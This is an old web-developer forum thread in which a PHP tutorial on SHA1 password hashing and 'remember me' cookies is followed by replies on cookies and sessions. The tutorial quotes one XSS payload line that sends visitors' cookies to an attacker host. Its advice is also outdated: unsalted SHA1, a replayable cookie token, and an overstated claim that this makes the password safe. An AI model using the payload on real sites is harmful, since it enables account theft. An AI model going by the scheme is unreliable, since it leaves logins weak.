Reply
Tip: Passwords (Security, 'Remember Me')
Old 04-07-2006, 10:57 AM Tip: Passwords (Security, 'Remember Me')
Christopher's Avatar
Iced Cap

Latest Blog Post:
PHP and Unicode with UTF-8
Posts: 3,111
Location: Toronto, Ontario
We've all made some sort of user system before. All user systems have some method of authentication, and usually this means entering a username and a password. In this thread I'm going to highlight ways to keep passwords as secure as possible, and outline a simple technique for a 'remember me' feature.

Note: Throughout this post, the code examples will all be using the SHA1 hash function and all database actions are using PEAR::DB (link | docs). Pretend a mySQL database connection has already been initiated and the object is assigned to the $DB variable.

What needs securing?
So the first question is: what needs securing, and why? Well, passwords of course! Here are two rules that new developers break all the time:
  • Passwords stored in the database should always be hashed
  • Passwords stored on the client side should always be a hash of the password hash, and a randomly generated salt.
First, what is a hash? To put it into simplest terms, it takes a variable length of data and converts it into fixed length data, often this conversion is said to be irreversible (unless through bruteforce cracking). In our use, this means turning a user's password into a fixed length string that no one can read, including the crackers. For example the 6 character password "moomoo" has a 40 character SHA1 hash of: 8a9dd5e0dc67c1b9115692b6f5b88d8751e3cdc8.

And what is a salt? In our case it's simply a random bit of text that we'll use to further secure our passwords when storing them on the client side. We re-hash the already hashed password with the random, end-user-unknowing salt to make it even harder for a cracker to crack the password. We'll talk more about salts in a minute. An example of a salt might be something like "sd*&4hjf$@" (yes, it really should be completely random!).

Now on to the why: For safety. There are untold circumstances if something were to happen to your site and a cracker got hold of your users passwords. For example, many users use the same password for many different sites. If the cracker got the password that, say, "BlueIce" used on your site he might get lucky and also gain access to "blueice@hotmail.com" etc. If this were to happen, it might even bring down some legal ramifications on you for not taking the steps to secure the information you collect.


How do I secure my passwords on my server?

So now you know that you should be storing hashed passwords in your database and not plaintext passwords, you want to know how it's done. Easy! PHP has two popular hash functions built in, MD5 and SHA1 (throughout this post we'll be using SHA1).

When a user signs up, you simply have to apply the hash function to the password before you enter it into your database:

PHP Code:
$username $_POST['username'];
$password sha1($_POST['password']);

$DB->query('INSERT INTO users (username, password) VALUES (?, ?)', array($username$password)); 
So each user in the database now has a plaintext username, but a nicely hashed password that no one can read! Database administrators can't read it, so users can feel safe, and if your server is ever compromised, then the crackers can't read it either. This simple step of hashing the password has already paid off.

"But wait!" I can hear you say, "how do I authenticate user's logging in if I don't know their password?". Since you cannot check a user's login password (which would normally be in plaintext) against the hashed database password, you have to hash the inputted password and then compare the two. So you are no longer doing ($input == $stored), but (sha1($input) == $stored):

PHP Code:
$username $_POST['username'];
$password sha1($_POST['password']);

/* Hash the input password and check it against
   the already hashed password stored in the database.
   
   Since both passwords are hashed using the same hash
   function, the two passwords will match if the user
   enteres the correct password
*/

$user $DB->getRow('SELECT * FROM users WHERE username=? AND password=?', array($username$password));

if(!
$user)
    die(
'Sorry, incorrect username or password.'); 
How do I created a 'Remember Me' feature?
To create a 'Remember Me' feature on your website, you just have to store the user's login credentials inside of a cookie on their machine. When they visit your site, you should automatically check for the login data inside of a cookie and if it exists, process it to see if it is correct.

This introduces the reason for using a salt: you don't want to give away a user's real hashed password and store it in a cookie. You know that hashed passwords are unreadable and can never be restored to their pre-hashed state -- so why does it matter? You could just fling the password hash in the hackers face and walk away laughing... couldn't you? The answer is, not really. While hashing the passwords you deal is a very good security technique, it doesn't mean you can become careless. Easy passwords like the "moomoo" example we discussed earlier are very easy to crack for a number of reasons: it's all lowercase, it's only 6 characters, all characters are letters and "moo" is a dictionary word. All of those factors make it an easy password for a cracker to crack. He does this by simply trying combination after combination and comparing it against a password hash he already has. There are also public services that store thousands of pre-cracked strings so a cracker might get lucky and find a password even faster.

Since we can't (or choose not to) enforce our users to enter 16 character, alphanumeric, mixed case passwords -- we should add another layer of security.

You might be thinking about why we need this extra bit of security. It's not like a user is going to go into their cookies and give out their passwords, even if they are hashed, right? Yeah, probably. But you never know what might happen. What if, due to some error in your code, you allow a cracker to publish an XSS attack on one of your popular pages and he reads a bunch of those user's passwords and stores them in some database of his? Like this:
Code:
<img src="logo.gif" width="1" height="1" onload="window.location='http://cracker-site.com/save?cookie='+document.cookie" /> Hi guys, I'm new to your site!
Now he has a database of say, 500 users, and at least one of those is bound to have an easy password.

To further reduce the chances of a cleartext password ever getting out, you give your user's a salted password instead. Essentially, you give them this:
sha1( sha1(password_hash) . sha1(salt) )
The random salt at the end makes it impossible to check passwords against a dictionary, dramatically increasing the time it takes to crack a password that it pretty much makes trying not worth it.

So lets put this into practice. We already have some login code above, let's expand it to set a 'remember me cookie':
PHP Code:
$username $_POST['username'];
$password sha1($_POST['password']);

/* Hash the input password and check it against
   the already hashed password stored in the database.
   
   Since both passwords are hashed using the same hash
   function, the two passwords will match if the user
   enteres the correct password
*/

$user $DB->getRow('SELECT * FROM users WHERE username=? AND password=?', array($username$password));

if(!
$user)
    die(
'Sorry, incorrect username or password.');
    
// Did this user check that 'remember me' checkbox?
if($_POST['remember_me'])
{
    
$expire time() + 1728000// Expire in 20 days
    
$cookie_pass sha1sha1($user['password']) . sha1($user['salt']) );
    
    
setcookie('user'$user['username'], $expire);
    
setcookie('pass'$cookie_pass$expire);

Now the password is as safe as it'll ever be. Through spyware, viruses, XSS attacks or browser exploits -- that password is going to stay obscure! To auto-login the user, just include some code somewhere on your page that checks for those cookie values. If they exist you have to fetch the user information for the username specified in the cookie (so you can get the salt), then re-create the correct salted-hashed-password and compare it with the password in the cookie:
PHP Code:
if(isset($_COOKIE['user'], $_COOKIE['pass']))
{
    
$user $DB->getRow('SELECT * FROM users WHERE username=?'$_COOKIE['user']);
    
    if(
$user)
    {
        
$check_pass sha1sha1($user['password']) . sha1($user['salt']) );
        
        if(
$check_pass == $_COOKIE['pass'])
        {
            
// The user should be logged in
        
}
    }

Just remember to generate a unique, random salt when a user registers!
Christopher is offline
Reply With Quote
View Public Profile Visit Christopher's homepage!
 
When You Register, These Ads Go Away!
Old 01-05-2007, 12:48 AM Re: Tip: Passwords (Security, 'Remember Me')
Novice Talker

Posts: 8
if a visitor want to clear "remember me " feature, he just need to clear the cookies, am i right ? in your example the cookies expired time is 20 days, so it means in the next 20 days if i using same computer with different IP i still able to access right ?

thanks
cnun is offline
Reply With Quote
View Public Profile Visit cnun's homepage!
 
Old 01-05-2007, 01:35 AM Re: Tip: Passwords (Security, 'Remember Me')
metho's Avatar
Ultra Talker

Posts: 345
Cookies are evil and should never be used for user authentication in any serious web app. Too many users share their computer account with co-workers or family members and friends. This happens in internet cafe's too, whereby savvy users will go back through a previous customer's browser history and check for pre-authenticated web accounts they can get into.

Use sessions and sessions only. Use cookies if security isn't an issue.
metho is offline
Reply With Quote
View Public Profile
 
Old 11-18-2007, 10:24 AM Re: Tip: Passwords (Security, 'Remember Me')
Arenlor's Avatar
Ultra Talker

Posts: 463
Name: Jerod Lycett
Location: /home/arenlor
Sweet, had always wondered about how they could steal a cookie.
Arenlor is offline
Reply With Quote
View Public Profile Visit Arenlor's homepage!
 
Old 11-22-2007, 04:55 AM Re: Tip: Passwords (Security, 'Remember Me')
mtishetsky's Avatar
King Spam Talker

Posts: 1,044
Name: Mike
Location: Mataro, Spain
Quote:
Originally Posted by metho View Post
Cookies are evil and should never be used for user authentication in any serious web app. Too many users share their computer account with co-workers or family members and friends. This happens in internet cafe's too, whereby savvy users will go back through a previous customer's browser history and check for pre-authenticated web accounts they can get into.

Use sessions and sessions only. Use cookies if security isn't an issue.
Do you understand how sessions work? It seems to me that you don't.
__________________
Free Mobile Phone Themes

And don't forget to give me talkupation!
mtishetsky is offline
Reply With Quote
View Public Profile Visit mtishetsky's homepage!
 
Old 01-31-2008, 02:27 PM Re: Tip: Passwords (Security, 'Remember Me')
JeremyMiller's Avatar
Full-Time TeraTasker

Posts: 984
Name: Jeremy Miller
Location: Reno, NV
when I write remember me features, I never include the username and password in so obvious a fashion -- hell, what if they change their password? -- and, why would I want to offer up the username? What I do instead is create a remember me cookie of a form similar to this:

PHP Code:
$_COOKIE['remember_me'] = $salt1.':'.$user_id.':'.sha1($alt_user_id.$salt2.$salt1); 
where $salt1 != $salt2 and $salt2 is constant for the system. $alt_user_id is a value generated and stored in the db under the user_id and is never displayed to the user. Then, to process, I extract the $user_id, fetch the $alt_user_id from the database, check that the hash value is equivalent and if all matches, set the session variables for logging in.

With the method described above, the only vital information exposed to anyone reading cookies is a database user_id. Why expose only that? Because with the username exposed, then brute-force hack attempts could be performed to guess the user's password, but I never create logins where they enter their db user_id.

For cancelling the remember me feature, I add that to logout b/c if you're logging out, then you clearly don't want to be logged in. That logout script just clears the remember_me cookie and cancels the session.
__________________
Jeremy Miller - TeraTask Technologies, LLC
Content Farmer - Automated Posting for Content & Blog Sites
JeremyMiller is offline
Reply With Quote
View Public Profile Visit JeremyMiller's homepage!
 
Old 02-19-2008, 08:33 AM Re: Tip: Passwords (Security, 'Remember Me')
AdobongKangkong's Avatar
Novice Talker

Posts: 6
Sweet... why i should have not known this site a little earlier..
AdobongKangkong is offline
Reply With Quote
View Public Profile
 
Old 02-19-2008, 09:35 AM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,166
Name: Dan
Location: Swindon
Wow helpful thread.

I recently implemented a remember me feature, and now im just thinking how easy it could be if any of the people i give access to the admin panel are not quiet web savvy...

at the moment, i have it set three cookies user, user id, rank (users level defines if admin or whatever)

and then a if session not set but cookie is reset session (and transfer cookie vars to sessions

How could i tighten security for this?

you can see some of the code here: http://www.webmaster-talk.com/php-fo...king-cant.html
(this problem on the thread has been fixed now )

Thanks,
Dan
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-19-2008, 08:18 PM Re: Tip: Passwords (Security, 'Remember Me')
mgraphic's Avatar
Truth Seeker

Latest Blog Post:
Wireless Audio
Posts: 2,320
Name: Keith Marshall
Location: West Hartford, CT
It always best to pass the minimum amount of data possible to prevent malicious users to edit (such as rank). You could pass user id and a hash of the salt and once validated, use your database data to fill in the blanks for the users info.
__________________

<mgraphic /> - I don't have a solution but I admire the problem.
mgraphic is offline
Reply With Quote
View Public Profile
 
Old 02-19-2008, 08:52 PM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,166
Name: Dan
Location: Swindon
So it would be fine to keep the rank in a session, and have in the if session not set but cookie is statement just have it query the db to get the rank yes?

dan
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-19-2008, 09:02 PM Re: Tip: Passwords (Security, 'Remember Me')
mgraphic's Avatar
Truth Seeker

Latest Blog Post:
Wireless Audio
Posts: 2,320
Name: Keith Marshall
Location: West Hartford, CT
I personally use client-side cookies for one of these three types of tasks:
1) Validating a user.
2) Storing a user preference setting that would go beyond a single session or login.
3) Storing user visitation data that would go beyond a single session or login (mostly used for javascript application).
__________________

<mgraphic /> - I don't have a solution but I admire the problem.
mgraphic is offline
Reply With Quote
View Public Profile
 
Old 02-19-2008, 09:22 PM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,166
Name: Dan
Location: Swindon
Ok.

i think what i have is more secure now anyways...
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-20-2008, 01:57 AM Re: Tip: Passwords (Security, 'Remember Me')
Average Talker

Posts: 20
Name: Corrie
Brilliant Thank U
It Helped...
__________________
http://awhost.0lx.net
The Ultimate Free Host Site
Php, 300 MB disk space, 8 GB Monthly transfer, 5 MySQL databases + MORE
awhost.0lx.net is offline
Reply With Quote
View Public Profile
 
Old 05-23-2008, 07:28 AM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,166
Name: Dan
Location: Swindon
1) Dont Hijack threads
2) necroposters are not apprieciated... this thread is 3 months old and your post doesnt add to it.

Start your own

Dan
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)